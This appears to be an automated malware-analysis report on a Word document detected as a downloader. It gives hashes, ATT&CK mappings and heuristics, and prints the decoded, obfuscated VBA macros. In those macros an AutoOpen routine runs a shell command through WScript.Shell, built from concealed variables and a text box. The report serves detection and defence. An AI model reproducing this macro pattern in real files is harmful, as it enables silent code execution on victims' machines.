Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ae69854c877338cc…

MALICIOUS

Office (OLE)

142.6 KB Created: 2019-01-15 21:45:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: a2c2d7a9c09144ea9b875f9e715185e7 SHA-1: 5ebc660474ecc285634c719f78a42858065c115a SHA-256: ae69854c877338ccb35bf1d272f0b93f66657e2d722edcda7edcece25cb396d9
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing VBA macros. The macros utilize WScript.Shell and CreateObject to execute commands, as indicated by the 'OLE_VBA_SHELL' and 'OLE_VBA_CREATEOBJ' heuristics. The script attempts to construct a command string using concatenated variables and a TextBox value, likely to download and execute a secondary payload. The ClamAV detection 'Doc.Downloader.Valyria-6817441-0' further supports its role as a downloader.

Heuristics 9

  • ClamAV: Doc.Downloader.Valyria-6817441-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Valyria-6817441-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
     Set Functionbasedwr = supportra
Divisionok = "WscRipt.sHeLl"
   Set mobilens = Assurancezq
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     Set orangebu = mobileaf
plumrj = Array(FantasticPlasticCheesezs, Virginiaom, Pathtu, CreateObject(Divisionok).Run!(("" + architecturesvc + regionalld + Programqj.TextBox1) + RusticMetalSoapbp + SleekGraniteFishcs + Plasticma, 25 - 25), GroceryGardenst, Practicalni, reddj)
   Set ivorycq = GamesKidsToolsom
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub autoopen()
needsbasedqj = Array(Coordinatornn, Forwardtz, HomeLoanAccountuz, systemid, Toyslv, Wyomingts, NewTaiwanDollarwo)
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4604 bytes
SHA-256: d7d538b0ef18d6a32929eaca1182e7fe30b35d04928a6824b0738155fde188d0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Programqj"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"

Attribute VB_Name = "matrixzh"
Function systemid()
On Error Resume Next
   Set bluetoothsz = Communicationsjm
For Each forecastph In MoviesHealthMusicrw
      For Each customizedai In clicksandmortaros
         SavingsAccountdq = (Oct(901))
      Next
      Do
         Researchri = CLng(systemiczq)
      Loop Until COMsw Eqv NewYorkkr
      Set Profitfocusedwz = bypasshr
      Qualitymz = FantasticConcretePantsjj
      For Each partnershipsrc In UnbrandedRubberTableqd
         optimizingni = Cos(Knollzi)
      Next
   Next
 Set Functionbasedwr = supportra
Divisionok = "WscRipt.sHeLl"
   Set mobilens = Assurancezq
For Each Orchestratorju In BritishIndianOceanTerritoryChagosArchipelagoqt
      For Each SportsToysco In Woodenhh
         FantasticFrozenPantspu = (Oct(142))
      Next
      Do
         JBODqd = CLng(Trafficwaysj)
      Loop Until Mainehm Eqv hardwareuj
      Set synergisticih = RefinedFreshBikeoa
      Nepalzq = withdrawalsi
      For Each missioncriticalzi In encryptionto
         Flatal = Cos(primaryim)
      Next
   Next
 Set orangebu = mobileaf
plumrj = Array(FantasticPlasticCheesezs, Virginiaom, Pathtu, CreateObject(Divisionok).Run!(("" + architecturesvc + regionalld + Programqj.TextBox1) + RusticMetalSoapbp + SleekGraniteFishcs + Plasticma, 25 - 25), GroceryGardenst, Practicalni, reddj)
   Set ivorycq = GamesKidsToolsom
For Each Forestis In homogeneousfz
      For Each Berkshireww In copyingiw
         virtualhz = (Oct(649))
      Next
      Do
         goldoz = CLng(Administratormv)
      Loop Until iteratezj Eqv Productnw
      Set Lockstk = HandmadeConcreteTableol
      SomaliShillingch = partnershipsop
      For Each intermediatezr In SavingsAccountkq
         Centerlj = Cos(AutoLoanAccountst)
      Next
   Next
 Set eenablekd = SmallFreshMousebs
End Function


Attribute VB_Name = "PracticalFreshSaladch"
Sub Sportsqj()
bypassingla = Monacowu
GorgeousSoftChipsmb = synthesizingzr
protocolji = protocolit
End Sub
Sub autoopen()
needsbasedqj = Array(Coordinatornn, Forwardtz, HomeLoanAccountuz, systemid, Toyslv, Wyomingts, NewTaiwanDollarwo)
End Sub

Attribute VB_Name = "SierraLeonejn"

Attribute VB_Name = "BelizeDollarmr"

Attribute VB_Name = "globalwf"

Attribute VB_Name = "Creekkq"

Attribute VB_Name = "MoneyMarketAccountcp"

Attribute VB_Name = "synthesizingwz"

Attribute VB_Name = "hapticwf"

Attribute VB_Name = "Plasticow"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Directiveswr"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Softia"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "rebootsz"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Brazilfo"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Bedfordshireao"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

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